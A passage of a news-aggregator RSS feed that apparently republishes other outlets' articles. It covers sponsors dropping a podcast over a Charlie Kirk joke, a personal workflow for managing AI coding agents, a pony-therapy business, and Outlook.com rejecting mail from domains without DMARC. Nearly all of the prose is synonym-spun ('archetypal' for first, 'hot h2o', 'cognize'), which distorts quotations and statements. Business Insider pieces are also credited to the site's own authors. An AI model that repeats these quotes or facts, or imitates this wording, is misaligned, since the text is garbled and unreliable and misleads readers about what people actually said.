podcast after hosts laugh at 'insensitive' Charlie Kirk joke]]></title> <description><![CDATA[Chewy and other companies pull ads from 'I've Had It' podcast after hosts laugh at 'insensitive' Charlie Kirk joke. Hosts Jennifer Welch and Angie Sullivan apologized for laughing at a Charlie Kirk gag on their podcast in an Instagram article on Saturday.]]></description> <media:thumbnail url="https://i.insider.com/6af0a85480d4b24f18347548?width=1200&amp;format=jpeg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/chewy-and-other-companies-pull-ads-from-i-ve-had-it-podcast-after-hosts-laugh-at-insensitive-charlie-kirk-joke-76202</link> <content:encoded><![CDATA[<div e-name="post-hero" data-component-type="post-hero" data-load-strategy="exclude"> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject"> <div> <p><img src="https://i.insider.com/6af0a90d8f37e8e0b5bab1f8?width=1300&amp;format=jpeg&amp;auto=webp" srcset="https://i.insider.com/6af0a90d8f37e8e0b5bab1f8?width=400&amp;format=jpeg&amp;auto=webp 400w, https://i.insider.com/6af0a90d8f37e8e0b5bab1f8?width=500&amp;format=jpeg&amp;auto=webp 500w, https://i.insider.com/6af0a90d8f37e8e0b5bab1f8?width=700&amp;format=jpeg&amp;auto=webp 700w, https://i.insider.com/6af0a90d8f37e8e0b5bab1f8?width=1000&amp;format=jpeg&amp;auto=webp 1000w, https://i.insider.com/6af0a90d8f37e8e0b5bab1f8?width=1300&amp;format=jpeg&amp;auto=webp 1300w" sizes=" 1280px) 900px" alt="Jennifer Welch and Angie Sullivan of the I&#039;ve Had It podcast." decoding="sync"> </p></div> <span> <span> <svg aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewbox="0 0 24 24"> <path fill="currentColor" fill-rule="evenodd" d="m4.56 18.5 7.486-7.72 7.394 7.626 2.56-2.64L12.046 5.5 2 15.86l2.56 2.64Z"></path> </svg> <figcaption e-name="image-caption"> <span>Jennifer Welch and Angie Sullivan apologized for their remarks concerning Charlie Kirk on Instagram.</span> <span> <span e-name="image-source" itemprop="creditText">Theo Wargo/Getty Images</span> </span> </figcaption> </span> </span> </figure> </div> <div data-component-type="image-modal" data-load-strategy="lazy"> <p>A 39-second clip shared to X is turning into a enormous headache for the "I've Had It" podcast.</p><p>At smallest nine companies have pulled their sponsorships from the famous progressive-leaning civilization and government podcast following a clip of hosts Jennifer Welch and Angie "Pumps" Sullivan went viral on X final week.</p><p>The clip, which has nearly 6 myriad views and 18,000 likes, showed the brace laughing at an X article referencing <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Charlie Kirk</a>, the right-wing governmental advocate who was assassinated final year.</p><p>The clip drew criticism from several X users, who called for a boycott of the podcast. Companies began distancing themselves from the display shortly after, including online retailer Chewy.</p><div id="1794156375948" data-styles="default-width" data-embed-type="custom" data-script="https://platform.x.com/widgets.js" data-type="embed"><blockquote><p lang="en" dir="ltr">We do not sponsor or assistance the &ldquo;I&rsquo;ve Had It&rdquo; podcast. We unequivocally condemn aggression in all forms. The comments made by the hosts do not indicate Chewy&rsquo;s values or what we remain for as a company.</p>&mdash; Chewy (@Chewy) <a href="https://en.mycoding.id/category/business" target="_blank" rel=" nofollow" target="_blank">November 7, 2026</a></blockquote> </div><p>"We do not sponsor or assistance the "I've Had It" podcast. We unequivocally condemn aggression in all forms," the business stated in an X article on Saturday. "The comments made by the hosts do not indicate Chewy's values or what we remain for as a company."</p><p>Chewy CEO Sumit Singh doubled downward on the company's decision in his own X post. Meanwhile, Cash App, Zenni, Casper, and Honeylove additionally cut ties.</p><p>"Honeylove has ended our alliance alongside the I've Had It podcast. Violence of any benevolent is never acceptable, and those comments do not indicate our values," Honeylove stated in an X article on Sunday.</p><p>The "I've Had It" hosts posted an apology to the podcast's Instagram document on Saturday.</p><p>"It was an insensitive joke, and we should not have laughed. We regret it, and we apologize," the podcast said. "Whatever our governmental differences, there is nothing comic concerning gun violence."</p> <p>The podcast stated it donated to Everytown for Gun Safety, the largest gun-violence-prevention institution in the United States.</p><p>This isn't the archetypal period a presenter has landed in hot h2o complete comments made concerning Kirk. ABC, owned by the Walt Disney Company, suspended and afterward reinstated <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Jimmy Kimmel's</a> late-night conversation display complete his remarks concerning Kirk. Some workforce from <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">major companies</a> akin Office Depot and Nasdaq additionally disciplined workforce who made negative remarks concerning Kirk online.</p><p>The "Pivot alongside Kara Swisher and <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Scott Galloway</a>" podcast, which discusses business, tech, and politics, has additionally been targeted by calls for an promotion boycott following Galloway criticized <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Elon Musk</a> final week. </p><p>During the archetypal halt on the Pivot Tour 2026, Galloway, an scholarly who frequently writes concerning the tech industry, called Musk a "traitor to the West" and referenced the Rosenbergs. Julius and Ethel Rosenberg were convicted of conspiracy to commit espionage during the Cold War and were executed by the national government.</p><p>The remarks drew the ire of Jason Calacanis of the "All-In" podcast and others, including University of California San Diego prof Brian Keating. The CEO of Boom Supersonic, an American aerospace company, wrote on X that Galloway was an capitalist in Boom and criticized the academic's comments.</p><p>"I don't intellect disagreements but calling for an implementation of a non-criminal (worse, an genuine hero!) is a stage too far," CEO Blake Scholl wrote on X on Friday. "Working to arrange a buy-out of his shares."</p> </div> <h2>Read next</h2> <div data-recommendations-content data-track-click-shared='&quot;Read next&quot;}'> <div e-name="read-next-list" data-recommendations-list> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> </div> </div> <a e-name="read-next-image-link" data-recommendations-image-link data-recommendations-link tabindex="-1"> <p><img alt=""> </p> </a> <h3> <a e-name="read-next-title-link" data-recommendations-link data-recommendations-title></a> </h3>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/chewy-and-other-companies-pull-ads-from-i-ve-had-it-podcast-after-hosts-laugh-at-insensitive-charlie-kirk-joke-76202</guid> <pubDate>Sun, 08 Nov 2026 20:59:23 +0700</pubDate> <author><![CDATA[support@mycoding.id (Lauren Edmonds)]]></author> </item> <item> <title><![CDATA[Starship Flight 15 on 11/13 plans to catch both booster and ship]]></title> <description><![CDATA[Starship Flight 15 on 11/13 plans to catch both booster and ship. Comments]]></description> <media:thumbnail url="https://en.mycoding.id/site/assets/img/og-image.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/starship-flight-15-on-11-13-plans-to-catch-both-booster-and-ship-76204</link> <content:encoded><![CDATA[<a href="https://en.mycoding.id/category/technology" target="_blank">Comments</a>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/starship-flight-15-on-11-13-plans-to-catch-both-booster-and-ship-76204</guid> <pubDate>Sun, 08 Nov 2026 20:49:46 +0700</pubDate> <author><![CDATA[support@mycoding.id (Adi Gunawan)]]></author> </item> <item> <title><![CDATA[How I Fight AI Brain Fry]]></title> <description><![CDATA[How I Fight AI Brain Fry. Comments]]></description> <media:thumbnail url="https://en.mycoding.id/site/assets/img/og-image.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/how-i-fight-ai-brain-fry-76205</link> <content:encoded><![CDATA[<div> <p>If you activity alongside Claude Code or Codex from the terminal, you cognize this one.</p> <p>You commencement a task. The AI takes period to reply, so you commencement another one. Then the archetypal one replies, but the answer needs one clarification, one prosecute up and one flank project &mdash; and all of them wants its own tab. Then the second tab's answer comes in. You juggle. And all of a abrupt you discover yourself hopping between 20 threads, trying to keep all those contexts in your brain RAM.</p> <p>Until you can't. Your brain gets exhausted, your concentration smashes, and you don't cognize anymore what you were doing, anywhere you started, and anywhere you were expected to finish.</p> <p>A lot of group are suggesting taking breaks, thinking before typing, limiting scope. I have my own experiment.</p> <p>I decided this way of operating has two important problems: sequencing and context. So I organised my activity a bit akin a precedence queue.</p> <p>Here is how it really works.</p> <p>The queue lives in git. Every ticket is a markdown document in the repo, correct next to the code it talks about, and the province of the commission is a committed snapshot. Nothing crucial lives in a conversation opening and nothing lives in my head. If a meeting dies, the queue is motionless there.</p> <p>An delegate plant that commission in cycles. It researches new tickets, builds the ones a individual has tagged as harmless to build, runs the tests and a browser check, and verifies what is already deployed. For item touching delicate code it builds on a branch and asks first. It never deploys to manufacturing &mdash; that part is mine.</p> <p>What it cannot do is decide. So everything that needs me lands in one location I call my owner inbox. A manuscript says the entire commission and hands me a prioritised catalog of exactly the items waiting on my judgement &mdash; assessment this change, answer this question, regulation on this tradeoff.</p> <p>The study exterior is a Claude artifact. One page, rebuilt from git on all cycle, mirroring the entire commission affirmative a assessment leaf per ticket. So I don't scroll rear through a terminal trying to rebuild what a alter does. I open one link, peruse what was built and why, and provision my verdict. The verdict goes rear into git, onto the card. The leaf is lone a spectator &mdash; git is the record.</p> <p>Then comes the part that matters most.</p> <p>I obtain one item. I burden its context. I create a decision or petition an action. And I near it, by putting it rear into the queue.</p> <p>That decision is the entire trick. The ticket doesn't keep hanging in my recollection as a item to recall about. The environment closes alongside it. So whenever I choice the next item from the queue, I can really focus. One item at a time.</p> <p>It is motionless exhausting. But I don't awareness distracted or lost.</p> <p>The difficulty was, and motionless is, the tooling about it. Getting the environment served up in a digestible manner, so loading a ticket takes a infinitesimal and not twenty. And keeping tickets from going into endless loops since they are blocked waiting for a ruling lone I can give.</p> <p>It's a living organism and I keep improving it. But it felt akin a huge stage onward in my efficiency alongside AI tools, so I idea it was value sharing.</p> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/how-i-fight-ai-brain-fry-76205</guid> <pubDate>Sun, 08 Nov 2026 20:37:42 +0700</pubDate> <author><![CDATA[support@mycoding.id (Adi Gunawan)]]></author> </item> <item> <title><![CDATA[I bring miniature ponies into nursing homes for a living. Some residents laugh, while others cry when they see them.]]></title> <description><![CDATA[I bring miniature ponies into nursing homes for a living. Some residents laugh, while others cry when they see them.. Sarah Woodland brings miniature ponies into attention homes to sojourn aged residents. Their affectional reactions create her activity deeply rewarding.]]></description> <media:thumbnail url="https://i.insider.com/6ae4cdafd8cc18cf7950f957?width=1200&amp;format=jpeg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/i-bring-miniature-ponies-into-nursing-homes-for-a-living-some-residents-laugh-while-others-cry-when-they-see-them-76195</link> <content:encoded><![CDATA[<div e-name="post-hero" data-component-type="post-hero" data-load-strategy="exclude"> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject"> <div> <p><img src="https://i.insider.com/6ae4cd63f3bee449b3d29af3?width=1300&amp;format=jpeg&amp;auto=webp" srcset="https://i.insider.com/6ae4cd63f3bee449b3d29af3?width=400&amp;format=jpeg&amp;auto=webp 400w, https://i.insider.com/6ae4cd63f3bee449b3d29af3?width=500&amp;format=jpeg&amp;auto=webp 500w, https://i.insider.com/6ae4cd63f3bee449b3d29af3?width=700&amp;format=jpeg&amp;auto=webp 700w, https://i.insider.com/6ae4cd63f3bee449b3d29af3?width=1000&amp;format=jpeg&amp;auto=webp 1000w, https://i.insider.com/6ae4cd63f3bee449b3d29af3?width=1300&amp;format=jpeg&amp;auto=webp 1300w" sizes=" 1280px) 900px" alt="Woman holding ponies" decoding="sync"> </p></div> <span> <span> <svg aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewbox="0 0 24 24"> <path fill="currentColor" fill-rule="evenodd" d="m4.56 18.5 7.486-7.72 7.394 7.626 2.56-2.64L12.046 5.5 2 15.86l2.56 2.64Z"></path> </svg> <figcaption e-name="image-caption"> <span>Sarah Woodland brings miniature ponies to older people.</span> <span> <span e-name="image-source" itemprop="creditText">Courtesy of Sarah Woodland</span> </span> </figcaption> </span> </span> </figure> </div> <div data-component-type="image-modal" data-load-strategy="lazy"> <p><em>This as-told-to composition is according to a conversation alongside </em><a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow"><em>Sarah Woodland</em></a><em>, originator of </em><a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow"><em>Dinky Ponies</em></a><em>. It has been edited for dimension and clarity.</em></p><p>Just following the pandemic, I started seeing two <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Miniature Shetland Ponies</a> all sole day in a site on my run to work.</p><p>I'd worked taking attention of another people's horses as a groom &mdash; person liable for the <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">daily care</a>, health, management, and preparedness of horses &mdash; for years, but I hadn't worked extensively alongside Miniature Shetland Ponies before. For several reason, though, I'd continually appearance for those small, sturdy ponies on my dawn commute.</p><p>Wondering who they belonged to, I inquired concerning their owner and asked if I could arrive by to see them.</p><p>Long narrative short, a few months later, I was stated those two ponies, not entirely certain what I was going to do alongside them.</p><h2 id="3c993ce5-0896-4752-be0a-9faa21207622" data-toc-id="3c993ce5-0896-4752-be0a-9faa21207622">I started a endeavor alongside the ponies</h2><p>I didn't desire them to fair be site ornaments for the remainder of their lives &mdash; they were horses that needed several kind of job to do. But the breed isn't capable of doing too much because of their small size.</p><p>I messaged several of the mothers I knew to ask concerning their involvement in stable administration classes and sessions in handling the ponies.</p><p>Hitting what felt akin <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">constant barriers</a>, I eventually managed to commencement hosting parties and one-to-one sessions in locations about me &mdash; akin pub car parks and random fields.</p><p>Never having run a endeavor before, I had to get to grips alongside organizing bookings, <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">sending invoices</a>, and managing a small business. It was a lot of admin to get my caput about at the start.</p> <p>By the end of my archetypal summer of these sessions, I knew I had to discover another activity for the ponies since the climate would be changing and exterior sessions weren't going to activity in the chilly and rainy autumn and winter.</p><p>Very randomly, I recall seeing a photo of a equine in an elevator and wondered if my ponies could be taken into buildings and up and downward elevators.</p><p>To test it out, I called a companion who plant at a children's&nbsp;<a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">day care</a>&nbsp;up the highway from me and asked if I could bring among the ponies into the construction to see how it would oversee indoors and alongside children.</p><p>There were no problems.</p><h2 id="36bd06dc-b71c-4765-9019-068acb221661" data-toc-id="36bd06dc-b71c-4765-9019-068acb221661">I started bringing the ponies to elder attention facilities</h2><p>Around the identical time, I considered whether <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">elder attention homes</a> would have budgets for me to bring the ponies in to mingle alongside aged residents. I've never had cognition in attention homes, but imagined that being about the ponies would be a beautiful treat.</p> <figure data-type="img" e-name="image-figure-image" data-media-container="image" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view" itemscope="" itemtype="https://schema.org/ImageObject"> <div> <p><img src="image/svg+xml,%3C%3Fxml%20version=&#039;1.0&#039;%20encoding=&#039;UTF-8&#039;%3F%3E%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20width=&#039;1&#039;%20height=&#039;1&#039;/%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/6ae4d9448bd5d6547af34286&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:1179,&quot;aspectRatioH&quot;:884}}' alt="Ponies at elder attention facility"> </p></div> <span> <figcaption e-name="image-caption"> Sarah Woodland started taking her ponies to elder attention facilities.&nbsp; <span e-name="image-source" itemprop="creditText"> Courtesy of Sarah Woodland </span> </figcaption> </span> </figure> <p>I called a <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">nursing home</a> and asked if I could try it. I really didn't have a clue what I was doing, but reckoned I would study by test and error.</p><p>The ponies coped, and the aged residents entirely loved the visit.</p><p>Four years later, I'm now taking my ponies (I have seven now) to attention homes and <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">residential homes</a> to sojourn aged group and children alongside particular needs. It's rotate into my full-time job, and full-time passion.</p><p>I've faced a lot of <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">unexpected challenges</a> alongside the way. There was no example to prosecute and no blueprint to copy. Everything I've built, I've built myself, learning as I've gone along.</p><h2 id="547bd5a0-30ea-460c-8532-b3b6b9d7d640" data-toc-id="547bd5a0-30ea-460c-8532-b3b6b9d7d640">I had to study from my mistakes</h2><p>Of course, I've made mistakes too, but alongside mistakes comes learning, and all difficulty has taught me something. I've learned what works, what doesn't, what I'd do differently, and most importantly, how to keep moving forward.</p><p>As the ponies' feet are fairly slippery on <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">laminate floors</a>, I've eventually established shoes for them that don't appearance silly. I don't akin the idea of making the ponies appearance ridiculous, since they're operating animals and have to be treated alongside respect.</p> <figure data-type="img" e-name="image-figure-image" data-media-container="image" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view" itemscope="" itemtype="https://schema.org/ImageObject"> <div> <p><img src="image/svg+xml,%3C%3Fxml%20version=&#039;1.0&#039;%20encoding=&#039;UTF-8&#039;%3F%3E%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20width=&#039;1&#039;%20height=&#039;1&#039;/%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/6ae4d9c3f3bee449b3d29b87&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:1179,&quot;aspectRatioH&quot;:884}}' alt="Ponies at elder attention facilities"> </p></div> <span> <figcaption e-name="image-caption"> Sarah Woodland trained her ponies to obtain elevators.&nbsp; <span e-name="image-source" itemprop="creditText"> Courtesy of Sarah Woodland </span> </figcaption> </span> </figure> <p>When I obtain the ponies into a building, they totally rely me. They cognize I wouldn't put them in a stance anywhere they'd awareness unsafe. It's the identical whenever I obtain them into an elevator. I have stated them affirmative reinforcement by giving them a small mint all period they go into the elevator. I must continually remain calm because, in doing so, they too remain calm. They are intelligent animals that cognize whether I'm stressed or not and mirror my state.</p><p>Having not spent period in a attention home, I assume I wasn't prepared for how much I would need to study concerning what group living in attention homes need. I'm now continually learning to comprehend how group awareness whenever they see the ponies. I'm learning what the correct things to say are, and perchance what things I shouldn't say.</p><p>I've really enjoyed my conversations alongside group whenever I'm strolling through alongside the ponies, and I discover it difficult to move on from a conversation whenever my hr of visiting is completed.</p><p>While I bounds my visits to one hr for the ponies' welfare, I revisit the attention homes throughout the twelvemonth so that distinct group have a chance to see the ponies. I would fairly my visits contain a constricted figure of group who get norm period to conversation alongside me and engage alongside the ponies, fairly than rushed "show-and-tell" sessions anywhere residents lone get a small period to pet the ponies before I move on.</p><p>I can't fig out why the aged affection the ponies so much. They laugh, and sometimes they cry whenever they see them. You never cognize what the reply volition be. Perhaps there's item concerning their small size that makes them appear young and foal-like, not realizing that they are all really extremely old.</p><p>And of course, whenever we sojourn residential homes for children alongside particular needs, or nurseries alongside young children, the children adore the ponies. I've taken my sons alongside to these visits, and have felt immensely arrogant observing them engage alongside the children as they guide the ponies.</p><p>I never idea this was what I'd be doing for activity and alongside my life. It's been incredibly difficult and not hugely profitable, but likewise fulfilling. I wouldn't desire to do item alternatively correct now. I'm living my aspiration &mdash; making ponies and group blessed all at once.</p> </div> <h2>Read next</h2> <div data-recommendations-content data-track-click-shared='&quot;Read next&quot;}'> <div e-name="read-next-list" data-recommendations-list> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> </div> </div> <a e-name="read-next-image-link" data-recommendations-image-link data-recommendations-link tabindex="-1"> <p><img alt=""> </p> </a> <h3> <a e-name="read-next-title-link" data-recommendations-link data-recommendations-title></a> </h3> <div data-component-type="post-bottom-authors" data-load-strategy="exclude" data-track-view='&quot;module_in_view&quot;}' data-track-click-shared='&quot;navigation&quot;}'> <div data-track-view='&quot;module_in_view&quot;}'> <div> <p><span>Lauren Crosby Medlicott is a freelance newsman in the UK who writes concerning individual entitlements and social fairness issues. Addtionally, she supports survivors of individual trafficking and contemporary slavery through a project she runs in Cardiff, Wales.&nbsp;</span> </p> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/i-bring-miniature-ponies-into-nursing-homes-for-a-living-some-residents-laugh-while-others-cry-when-they-see-them-76195</guid> <pubDate>Sun, 08 Nov 2026 20:23:01 +0700</pubDate> <author><![CDATA[support@mycoding.id (Lauren Crosby Medlicott)]]></author> </item> <item> <title><![CDATA[Outlook.com Is Quietly Rejecting Email from Domains Without DMARC]]></title> <description><![CDATA[Outlook.com Is Quietly Rejecting Email from Domains Without DMARC. Comments]]></description> <media:thumbnail url="https://mailroute.net/og-default.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/outlook-com-is-quietly-rejecting-email-from-domains-without-dmarc-76196</link> <content:encoded><![CDATA[<div><p>Since November 5, 2026, Microsoft's person communication assistance has been turning distant several of the email from domains that don't publish a DMARC record. If your business emails customers, vendors or applicants alongside outlook.com, hotmail.com, live.com or msn.com addresses, several of that communication may be bouncing correct now. Nobody announced it. The fix is one DNS record.</p> <p><strong>Key takeaways</strong></p> <ul> <li>Outlook.com, Hotmail, Live and MSN now refuse part of the communication from domains that have no DMARC record.</li> <li>It hits ordinary, low-volume senders, not lone the bulk senders Microsoft's published rules cover.</li> <li>Only several messages bounce, so "my communication is getting through" doesn't average your domain is safe.</li> <li>The fix is a sole TXT record, v=DMARC1; p=none, which changes nothing concerning how another receivers treat your mail.</li> </ul> <h2 id="what-the-bounce-looks-like">What the bounce looks like</h2> <p>The sender gets a bounce akin this one, followed by a bracketed server name and ID that differ per message:</p> <pre>550 5.7.1 Message rejected: Message lacks SPF/DKIM/DMARC Auth Records (AS9031519) </pre> <p>On the archetypal day, the identical rejection came rear without the (AS9031519) code:</p> <pre>550 5.7.1 Message rejected: Message lacks SPF/DKIM/DMARC Auth Records </pre> <p>The wording suggests item is seriously broken. Usually it isn't. The domains we have seen bounced mostly had operating SPF, and many had DKIM too. What they were missing was the DMARC document that ties the two to the From address.</p> <h2 id="what-changed">What changed</h2> <p>Microsoft does have published sender rules. Since May 2025, domains that dispatch <a href="https://en.mycoding.id/category/technology" target="_blank">more than 5,000 messages a day</a> to Outlook.com have had to continue SPF, DKIM and DMARC, or get 550 5.7.515 Access denied. That regulation is aimed at marketers and bulk senders, and most small businesses rightly assumed it didn't use to them.</p> <p>This new rejection is distinct in the ways that matter:</p> <ul> <li><strong>It reaches small senders.</strong> A one-line answer from a small agency can bounce.</li> <li><strong>It wasn't announced.</strong> As of November 6, Microsoft has published nothing concerning it: no postmaster notice, no blog post, no service-health entry.</li> <li><strong>It doesn't say what failed.</strong> A 5.7.515 bounce lists the SPF, DKIM and DMARC results. This one lone says records are missing.</li> </ul> <p>We archetypal saw these bounces in our own outbound logs on November 5. Public reports from another administrators started appearing the identical day.</p> <h2 id="why-it-s-easy-to-miss">Why it's uncomplicated to miss</h2> <p><strong>Microsoft refuses lone part of the mail</strong> from an affected domain. One communication to a Hotmail location goes through, the next one bounces, and a resend may succeed. That inconsistency is what makes this one dangerous: the individual who sent the communication sees a bounce complete of acronyms, assumes a glitch, and moves on. The client on the another end never knows a communication was sent.</p> <p>If your endeavor depends on reaching group at individual addresses (patients, homeowners, applicants, parents, members), the disbursal is quiet. Invoices that don't arrive, project confirmations that never land, replies that appearance akin you ignored someone.</p> <h2 id="is-your-domain-affected">Is your domain affected?</h2> <p>Your domain is exposed if it has no DMARC record. You can inspect in a few seconds from any terminal. Replace example.com alongside your domain:</p> <pre>dig +short TXT _dmarc.example.com </pre> <p>A row starting alongside "v=DMARC1 method you have a record. No output method you don't. That's the case this rejection targets.</p> <h2 id="the-fix-is-one-dns-record">The fix is one DNS record</h2> <p>Add a TXT document at your DNS host:</p> <ul> <li><strong>Name:</strong> _dmarc</li> <li><strong>Value:</strong> v=DMARC1; p=none</li> </ul> <p><strong>p=none is the harmless starting point.</strong> It declares that your domain uses DMARC and asks receivers to dispatch you reports, but it tells them to obtain no act on failures. Nothing concerning how Gmail, Yahoo or anyone alternatively treats your communication changes.</p> <p>There is one condition. DMARC passes lone whenever SPF or DKIM passes <em>for the domain in your From address</em>. If neither lines up, a DMARC document solitary won't help. We covered how alignment works, and why it's anywhere most setups go wrong, in <a href="https://en.mycoding.id/category/technology" target="_blank">SPF, DKIM, and DMARC Are No Longer Optional</a>.</p> <p>Step-by-step instructions, including the checks for all three records, are in our <a href="https://en.mycoding.id/category/technology" target="_blank">guide to the Outlook.com 5.7.1 error</a>.</p> <h2 id="if-your-mail-goes-through-mailroute">If your communication goes through MailRoute</h2> <p>Mail you dispatch through the MailRoute outbound relay already passes the two checks DMARC needs:</p> <ul> <li><strong>SPF.</strong> Your communication keeps your own domain as its letter cover sender and leaves from servers that <a href="https://en.mycoding.id/category/technology" target="_blank">include:spf.mailroute.net</a> authorizes.</li> <li><strong>DKIM.</strong> We <a href="https://en.mycoding.id/category/technology" target="_blank">sign all outbound communication as your domain</a>, using the keys your mr01, mr02 and mr03 CNAME records item to. Publish all three, so we can rotate keys without your signatures always breaking.</li> </ul> <p>For MailRoute senders, the DMARC document is the entire fix. Once it's in place, Outlook.com sees a domain that authenticates, and DMARC passes on either check. Our guide to <a href="https://en.mycoding.id/category/technology" target="_blank">publishing DMARC for the MailRoute outbound relay</a> takes you from p=none to implementation whenever you're ready.</p> <h2 id="if-your-mail-doesn-t-go-through-mailroute">If your communication doesn't go through MailRoute</h2> <p>The DMARC document is motionless the fix, but the assistance that sends your communication has to continue SPF or DKIM for your domain. Microsoft 365, for example, signs alongside its own onmicrosoft.com domain until you rotate on DKIM for your own domain, and that signature doesn't figure toward DMARC. Our sister business mxio has a <a href="https://en.mycoding.id/category/technology" target="_blank">guide to this error for any sender</a>, alongside a checker that tests your domain from the page.</p> <h2 id="where-this-is-heading">Where this is heading</h2> <p>This is the form all important mailbox provider is following. Requirements commencement alongside the bulk senders, get announced alongside a deadline, and afterward quietly rotate into the baseline for everyone. DMARC at p=none is the flat now, not a finest practice.</p> <p>That's not a bad thing. Spoofing is how much of today's phishing and endeavor email colony starts, and a domain that authenticates is a domain that's much harder to impersonate. The p=none document that gets your communication delivered to Outlook.com today is additionally the archetypal stage to p=reject, which tells receivers to refuse communication that forges your domain.</p> <p>If you'd akin a relay that signs your outbound communication correctly from day one, our <a href="https://en.mycoding.id/category/technology" target="_blank">setup documentation</a> walks through SPF, DKIM and DMARC, and you can <a href="https://en.mycoding.id/category/technology" target="_blank">start a trial</a> whenever you're ready. Add the document today. It takes a few minutes, and it's one small logic for your communication to disappear.</p> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/outlook-com-is-quietly-rejecting-email-from-domains-without-dmarc-76196</guid> <pubDate>Sun, 08 Nov 2026 20:20:32 +0700</pubDate> <author><![CDATA[support@mycoding.id (Mira Azkia)]]></author> </item> <item> <title><![CDATA[Apple is racing to make Siri more agentic]]></title> <description><![CDATA[Apple is racing to make Siri more agentic. Bloomberg's Mark Gurman says CEO John Ternus is pressuring AI czar Craig 